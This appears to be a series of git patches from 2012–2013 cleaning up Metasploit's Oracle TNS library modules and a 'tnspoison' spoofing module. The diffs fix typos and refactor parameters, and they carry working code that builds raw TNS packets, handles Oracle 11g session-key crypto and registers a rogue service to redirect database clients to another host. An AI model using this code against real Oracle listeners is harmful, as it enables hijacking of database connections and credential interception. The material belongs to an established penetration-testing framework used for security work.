b/lib/msf/core/exploit/oracletns.rb index 10e433ed66..b406c72acf 100644 --- a/lib/msf/core/exploit/oracletns.rb +++ b/lib/msf/core/exploit/oracletns.rb @@ -44,7 +44,7 @@ module Exploit::OracleTNS # #This used for the tnspoison attack. There is no resend from the server thus we implemented - #as a new function. Better structuring can be used here. + #it as a new function. Better structuring can be used here. # def tns_command(connect_data) #From this point we need all of the parameters @@ -160,7 +160,7 @@ module Exploit::OracleTNS end # - #Usually you need time when communication with the database. + #Usually you need time when you communicate with the database. #It handles the TDS packet format. # def receive_timeout(timeout) @@ -169,7 +169,7 @@ module Exploit::OracleTNS resp = header len-=8 while(len > 0) - data = sock.get_once(len, timeout) + data = @sock.get_once(len, timeout) return "" if not data resp << data len -= data.length @@ -179,7 +179,7 @@ module Exploit::OracleTNS end def sns() - #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + #Usual stuff length+packet checksum+type+reserved byte+header checksum packet = "\x00\xa1\x00\x00\x06\x00\x00\x00\x00\x00" #I'm not interested now just send the packet out @@ -268,7 +268,7 @@ module Exploit::OracleTNS #packet length packet_head = [10+packet_body.length].pack('n') - #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + #Usual stuff length+packet checksum+type+reserved byte+header checksum packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" packet = packet_head+packet_body @sock.print(packet) @@ -376,7 +376,7 @@ module Exploit::OracleTNS #packet length packet_head = [10+packet_body.length].pack('n') - #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + #Usual stuff length+packet checksum+type+reserved byte+header checksum packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" packet = packet_head+packet_body @@ -386,7 +386,7 @@ module Exploit::OracleTNS if "\x0c"==rdata[4,1] print_error("We received response marker! Sending the request marker\n to get the error message!") @sock.print(request_marker()) - #Usually there are to markers! + #Usually there are two markers! second_marker=receive_timeout(5) error=receive_timeout(5) print_error("We received the following error message:\n") @@ -414,7 +414,7 @@ module Exploit::OracleTNS end print_status("Listener connect done!\n") - #ok we received the accept, sent the sns + #We received the accept, sent the sns if !sns() print_error("Something wrong around SNS!\n") return false @@ -460,7 +460,7 @@ module Exploit::OracleTNS @sock.print(packet) rdata=receive_timeout(5) if !rdata.include?("Oracle Database") - print_error("We expectes long oracle version, but we received the following:\n") + print_error("We expected long oracle version, but we received the following:\n") print_line(Rex::Text.to_hex_dump(rdata)) return false end @@ -495,7 +495,7 @@ module Exploit::OracleTNS packet_body << [command.length+1].pack("C") packet_body << command+"\x00" packet_head = [10+packet_body.length].pack('n') - #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + #Usual stuff length+packet checksum+type+reserved byte+header checksum packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" packet = packet_head+packet_body @sock.print(packet) @@ -505,10 +505,6 @@ module Exploit::OracleTNS return rdata end - def incseqid() - @seqid=7 - end - def send_register(sid) #Ruby rulez! You need dup here packet=@regpacket[sid.length-1].dup diff --git a/lib/msf/core/exploit/oracrypto.rb b/lib/msf/core/exploit/oracrypto.rb index 3460c2f4f3..946143c9ef 100644 --- a/lib/msf/core/exploit/oracrypto.rb +++ b/lib/msf/core/exploit/oracrypto.rb @@ -7,72 +7,72 @@ require 'digest/sha1' module Msf module Exploit::Oracrypto - def initialize(info={}) - super - register_options( + def initialize(info={}) + super + register_options( [], Msf::Exploit::Oracrypto ) - end + end - def create11g_hash(password, salt) - hash=Digest::SHA1.digest(password+salt) - return hash - end + def create11g_hash(password, salt) + hash=Digest::SHA1.digest(password+salt) + return hash + end - def decrypt_sesskey(sesskey, hash, keylen) - iv="\x00"*16 - begin - c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") - c.decrypt - #Ruby check for the right padding, but it is not necessary here - #With windows it cause "bad decrypt", so we switch it off - c.padding=0 - #c.iv=iv - c.key=hash+"\x00"*4 - d = c.update(sesskey) - d << c.final - rescue OpenSSL::Cipher::CipherError => e - "incorrect password" - rescue Exception => e - "unknown error" - end - return d - end + def decrypt_sesskey(sesskey, hash, keylen) + iv="\x00"*16 + begin + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.decrypt + #Ruby check for the right padding, but it is not necessary here + #With windows it cause "bad decrypt", so we switch it off + c.padding=0 + #c.iv=iv + c.key=hash+"\x00"*4 + d = c.update(sesskey) + d << c.final + rescue OpenSSL::Cipher::CipherError => e + "incorrect password" + rescue Exception => e + "unknown error" + end + return d + end - def combine_sesskeys(sesskey_srv, sesskey_clnt) - combined_skey="" - csk="" - for i in 0..23 - byte = sesskey_clnt.bytes.to_a[i+16]^sesskey_srv.bytes.to_a[i+16] - csk << byte - end - md1=Digest::MD5.digest(csk[0,16]) - md2=Digest::MD5.digest(csk[16,8]) - combined_skey=md1+md2 - return combined_skey - end - - def encrypt_sesskey(sesskey, hash, keylen) - iv="\x00"*32 - c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") - c.encrypt - c.iv=iv - c.key=hash+"\x00"*4 - e = c.update(sesskey) - e << c.final - return e - end - - def encrypt_password(password, csk) - iv="\x00"*32 - c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") - c.encrypt - c.iv=iv - c.key=csk - e = c.update(password) - e << c.final - return e - end + def combine_sesskeys(sesskey_srv, sesskey_clnt) + combined_skey="" + csk="" + for i in 0..23 + byte = sesskey_clnt.bytes.to_a[i+16]^sesskey_srv.bytes.to_a[i+16] + csk << byte + end + md1=Digest::MD5.digest(csk[0,16]) + md2=Digest::MD5.digest(csk[16,8]) + combined_skey=md1+md2 + return combined_skey + end + + def encrypt_sesskey(sesskey, hash, keylen) + iv="\x00"*32 + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.encrypt + c.iv=iv + c.key=hash+"\x00"*4 + e = c.update(sesskey) + e << c.final + return e + end + + def encrypt_password(password, csk) + iv="\x00"*32 + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.encrypt + c.iv=iv + c.key=csk + e = c.update(password) + e << c.final + return e + end end end diff --git a/lib/msf/core/exploit/tnslongpackets.rb b/lib/msf/core/exploit/tnslongpackets.rb index 819d467378..caf88606af 100644 --- a/lib/msf/core/exploit/tnslongpackets.rb +++ b/lib/msf/core/exploit/tnslongpackets.rb @@ -4,7 +4,7 @@ require 'msf/core' module Msf module Exploit::Tnslongpackets - attr_accessor :typerep_client, :typerep_client_lin2win + #attr_accessor :typerep_client, :typerep_client_lin2win def initialize(info={}) super @@ -1451,7 +1451,7 @@ module Exploit::Tnslongpackets @regpacket[11] << "\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x37" @regpacket[11] << "\x38\x00" - end + end end From 8754998e84ed3857cd249e25f38e4c4f0012bab5 Mon Sep 17 00:00:00 2001 From: corleone Date: Sat, 3 Nov 2012 15:36:37 +0100 Subject: [PATCH 4/8] Just some clean up... --- modules/auxiliary/spoof/tns/tnspoison.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/tns/tnspoison.rb b/modules/auxiliary/spoof/tns/tnspoison.rb index b39fb42b61..2a20858c1d 100644 --- a/modules/auxiliary/spoof/tns/tnspoison.rb +++ b/modules/auxiliary/spoof/tns/tnspoison.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('DHOST', [ true, "HOST to redirect to, it should be"\ " IP address only"]), - OptString.new('DPORT', [ true, "PORT to redrecit to, it can be 4"\ + OptString.new('DPORT', [ true, "PORT to redirect to, it can be 4"\ " digits only", "1521"]), ], self.class) From cbf29db37740c8ea8f65b2d0a220324ae909c397 Mon Sep 17 00:00:00 2001 From: corleone Date: Sat, 3 Nov 2012 15:50:30 +0100 Subject: [PATCH 5/8] The SID parameter is now required. --- lib/msf/core/exploit/oracletns.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/oracletns.rb b/lib/msf/core/exploit/oracletns.rb index b406c72acf..85c0d1f818 100644 --- a/lib/msf/core/exploit/oracletns.rb +++ b/lib/msf/core/exploit/oracletns.rb @@ -15,11 +15,11 @@ module Exploit::OracleTNS register_options( [ - OptString.new('RHOST', [ true, 'The Oracle host.', '']), - OptString.new('RPORT', [ true, 'The TNS port.', '1521']), - OptString.new('SID', [ false, 'The sid to authenticate with.', 'ORCL']), - OptString.new('DBUSER', [ false, 'The username to authenticate with. It should be SYSDBA for oradebug.', 'SYS']), - OptString.new('DBPASS', [ false, 'The password to authenticate with.', 'changeme']), + OptString.new('RHOST', [ true, 'The Oracle host', '']), + OptString.new('RPORT', [ true, 'The TNS port', '1521']), + OptString.new('SID', [ true, 'The SID to authenticate with', 'ORCL']), + OptString.new('DBUSER', [ false, 'The username to authenticate with, it should be SYSDBA for oradebug', 'SYS']), + OptString.new('DBPASS', [ false, 'The password to authenticate with', 'changeme']), ], Msf::Exploit::OracleTNS ) From f8fe1d1275c8c560caf70a4c1f27c3acfd252b0b Mon Sep 17 00:00:00 2001 From: corleone Date: Wed, 14 Nov 2012 18:42:35 +0100 Subject: [PATCH 6/8] Received some comments for the pull request and this commit solves the most simple ones: - () usage - for cycle - trailing comma --- lib/msf/core/exploit/oracletns.rb | 42 ++++++++++++------------ lib/msf/core/exploit/oracrypto.rb | 40 +++++++++++----------- modules/auxiliary/spoof/tns/tnspoison.rb | 4 +-- 3 files changed, 43 insertions(+), 43 deletions(-) diff --git a/lib/msf/core/exploit/oracletns.rb b/lib/msf/core/exploit/oracletns.rb index 85c0d1f818..2ec62199d5 100644 --- a/lib/msf/core/exploit/oracletns.rb +++ b/lib/msf/core/exploit/oracletns.rb @@ -38,7 +38,7 @@ module Exploit::OracleTNS end - def create_socket() + def create_socket connect end @@ -76,7 +76,7 @@ module Exploit::OracleTNS packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" packet << connect_data - create_socket() + create_socket @sock.print(packet) rdata=receive_timeout(5) if rdata=="" @@ -93,7 +93,7 @@ module Exploit::OracleTNS return true end - def tnsconnect() + def tnsconnect @host=datastore['RHOST'] @port=datastore['RPORT'] @sid=datastore['SID'] @@ -129,7 +129,7 @@ module Exploit::OracleTNS packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" packet << connect_data - create_socket() + create_socket @sock.print(packet) rdata=receive_timeout(5) if rdata=="" @@ -148,7 +148,7 @@ module Exploit::OracleTNS if rdata=="" print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n") print_line(Rex::Text.to_hex_dump(rdata)+"\n") - return flase + return false end #accept? if "\x02"!=rdata[4,1] @@ -178,7 +178,7 @@ module Exploit::OracleTNS resp end - def sns() + def sns #Usual stuff length+packet checksum+type+reserved byte+header checksum packet = "\x00\xa1\x00\x00\x06\x00\x00\x00\x00\x00" @@ -202,7 +202,7 @@ module Exploit::OracleTNS return true end - def version_exchange() + def version_exchange #packet length packet=[19+@client_ver.length].pack('n') #Usual stuff packet checksum+type+reserved byte+header checksum @@ -231,7 +231,7 @@ module Exploit::OracleTNS end - def typereps() + def typereps if @server_ver =~ /WIN_NT/ packet=self.typerep_client_lin2win else @@ -315,7 +315,7 @@ module Exploit::OracleTNS return field end - def authpassword() + def authpassword #Crypto of the Oracle authentication 11g salt= [@auth_vfr_data.downcase].pack('H*') @@ -385,7 +385,7 @@ module Exploit::OracleTNS #Response marker if "\x0c"==rdata[4,1] print_error("We received response marker! Sending the request marker\n to get the error message!") - @sock.print(request_marker()) + @sock.print(request_marker) #Usually there are two markers! second_marker=receive_timeout(5) error=receive_timeout(5) @@ -402,42 +402,42 @@ module Exploit::OracleTNS return true end - def request_marker() + def request_marker packet="\x00\x0b\x00\x00\x0c\x00\x00\x00\x01\x00\x02" return packet end - def auth() - if !tnsconnect() + def auth + if !tnsconnect print_error("Something wrong with CONNECT! Maybe you provided wrong SID?\n") return false end print_status("Listener connect done!\n") #We received the accept, sent the sns - if !sns() + if !sns print_error("Something wrong around SNS!\n") return false end print_status("SNS negotiation done!\n") - if !version_exchange() + if !version_exchange print_error("Something wrong around the versions exchange!\n") return false end - if !typereps() + if !typereps print_error("Something wrong around the type representation packages!\n") return false end - if !username() + if !username print_error("Something wrong around the username packet!\n") return false end print_status("Username packet was sent!\n") - if !authpassword() + if !authpassword print_error("Something wrong around the authpassword packet!\n") return false end @@ -449,7 +449,7 @@ module Exploit::OracleTNS end - def get_version() + def get_version #header, it is fixed length so we do not generate packet = "\x00\x23\x00\x00\x06\x00\x00\x00" packet << "\x00\x00\x11\x6b\x04" @@ -505,13 +505,13 @@ module Exploit::OracleTNS return rdata end - def send_register(sid) + def send_register(sid, dport) #Ruby rulez! You need dup here packet=@regpacket[sid.length-1].dup packet.gsub!("\x00"+"ORCL12345678"[0,sid.length], "\x00"+sid) packet.gsub!("\x00"+"orcl12345678"[0,sid.length], "\x00"+sid) packet.gsub!("aaaassssddddfff", datastore["DHOST"].ljust(15)) - packet.gsub!("PORT=1521))\x00", "PORT=%s))\x00" % datastore["DPORT"]) + packet.gsub!("PORT=1521))\x00", "PORT=%s))\x00" % dport) @sock.print(packet) rdata=receive_timeout(5) diff --git a/lib/msf/core/exploit/oracrypto.rb b/lib/msf/core/exploit/oracrypto.rb index 946143c9ef..977cb62e34 100644 --- a/lib/msf/core/exploit/oracrypto.rb +++ b/lib/msf/core/exploit/oracrypto.rb @@ -7,7 +7,7 @@ require 'digest/sha1' module Msf module Exploit::Oracrypto - def initialize(info={}) + def initialize(info={}) super register_options( [], Msf::Exploit::Oracrypto @@ -15,34 +15,34 @@ module Exploit::Oracrypto end def create11g_hash(password, salt) - hash=Digest::SHA1.digest(password+salt) - return hash - end - + hash=Digest::SHA1.digest(password+salt) + return hash + end + def decrypt_sesskey(sesskey, hash, keylen) - iv="\x00"*16 - begin - c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") - c.decrypt - #Ruby check for the right padding, but it is not necessary here - #With windows it cause "bad decrypt", so we switch it off - c.padding=0 - #c.iv=iv - c.key=hash+"\x00"*4 - d = c.update(sesskey) - d << c.final + iv="\x00"*16 + begin + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.decrypt + #Ruby check for the right padding, but it is not necessary here + #With windows it cause "bad decrypt", so we switch it off + c.padding=0 + #c.iv=iv + c.key=hash+"\x00"*4 + d = c.update(sesskey) + d << c.final rescue OpenSSL::Cipher::CipherError => e - "incorrect password" + "incorrect password" rescue Exception => e "unknown error" end - return d + return d end - + def combine_sesskeys(sesskey_srv, sesskey_clnt) combined_skey="" csk="" - for i in 0..23 + 0.upto(23) do |i| byte = sesskey_clnt.bytes.to_a[i+16]^sesskey_srv.bytes.to_a[i+16] csk << byte end diff --git a/modules/auxiliary/spoof/tns/tnspoison.rb b/modules/auxiliary/spoof/tns/tnspoison.rb index 2a20858c1d..3462e628a6 100644 --- a/modules/auxiliary/spoof/tns/tnspoison.rb +++ b/modules/auxiliary/spoof/tns/tnspoison.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('DHOST', [ true, "HOST to redirect to, it should be"\ " IP address only"]), OptString.new('DPORT', [ true, "PORT to redirect to, it can be 4"\ - " digits only", "1521"]), + " digits only", "1521"]) ], self.class) @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary end print_status("Sending register packet with SID %s to redirect to %s:%s\n." % [datastore["SID"], datastore["DHOST"], datastore["DPORT"]]) - if !send_register(datastore["SID"]) + if !send_register(datastore["SID"], datastore["DPORT"]) print_error("Something wrong with the register packet!\n") end print_status("Wait for 10 seconds.\n") From 3a1009cd0ffd6b2ee91dd3ec9c43a867590c7781 Mon Sep 17 00:00:00 2001 From: corleone Date: Wed, 14 Nov 2012 19:30:25 +0100 Subject: [PATCH 7/8] There are no accessors for the typereps variables in this version. --- lib/msf/core/exploit/oracletns.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/oracletns.rb b/lib/msf/core/exploit/oracletns.rb index 2ec62199d5..088e505747 100644 --- a/lib/msf/core/exploit/oracletns.rb +++ b/lib/msf/core/exploit/oracletns.rb @@ -233,9 +233,9 @@ module Exploit::OracleTNS def typereps if @server_ver =~ /WIN_NT/ - packet=self.typerep_client_lin2win + packet=@typerep_client_lin2win else - packet=self.typerep_client + packet=@typerep_client end @sock.print(packet) rdata=receive_timeout(5) From e00c79a4cc7c894ce0542e1420d49afe3a4331f0 Mon Sep 17 00:00:00 2001 From: corleone Date: Fri, 18 Jan 2013 13:45:59 +0100 Subject: [PATCH 8/8] Better parameter handling The DHOST parameter is passed as a function parameter to the mixin. The module handles the datastore now. --- lib/msf/core/exploit/oracletns.rb | 4 ++-- modules/auxiliary/spoof/tns/tnspoison.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/oracletns.rb b/lib/msf/core/exploit/oracletns.rb index 088e505747..98cdf33331 100644 --- a/lib/msf/core/exploit/oracletns.rb +++ b/lib/msf/core/exploit/oracletns.rb @@ -505,12 +505,12 @@ module Exploit::OracleTNS return rdata end - def send_register(sid, dport) + def send_register(sid, dhost, dport) #Ruby rulez! You need dup here packet=@regpacket[sid.length-1].dup packet.gsub!("\x00"+"ORCL12345678"[0,sid.length], "\x00"+sid) packet.gsub!("\x00"+"orcl12345678"[0,sid.length], "\x00"+sid) - packet.gsub!("aaaassssddddfff", datastore["DHOST"].ljust(15)) + packet.gsub!("aaaassssddddfff", dhost.ljust(15)) packet.gsub!("PORT=1521))\x00", "PORT=%s))\x00" % dport) @sock.print(packet) diff --git a/modules/auxiliary/spoof/tns/tnspoison.rb b/modules/auxiliary/spoof/tns/tnspoison.rb index 3462e628a6..162cbeb7f6 100644 --- a/modules/auxiliary/spoof/tns/tnspoison.rb +++ b/modules/auxiliary/spoof/tns/tnspoison.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary end print_status("Sending register packet with SID %s to redirect to %s:%s\n." % [datastore["SID"], datastore["DHOST"], datastore["DPORT"]]) - if !send_register(datastore["SID"], datastore["DPORT"]) + if !send_register(datastore["SID"], datastore["DHOST"], datastore["DPORT"]) print_error("Something wrong with the register packet!\n") end print_status("Wait for 10 seconds.\n")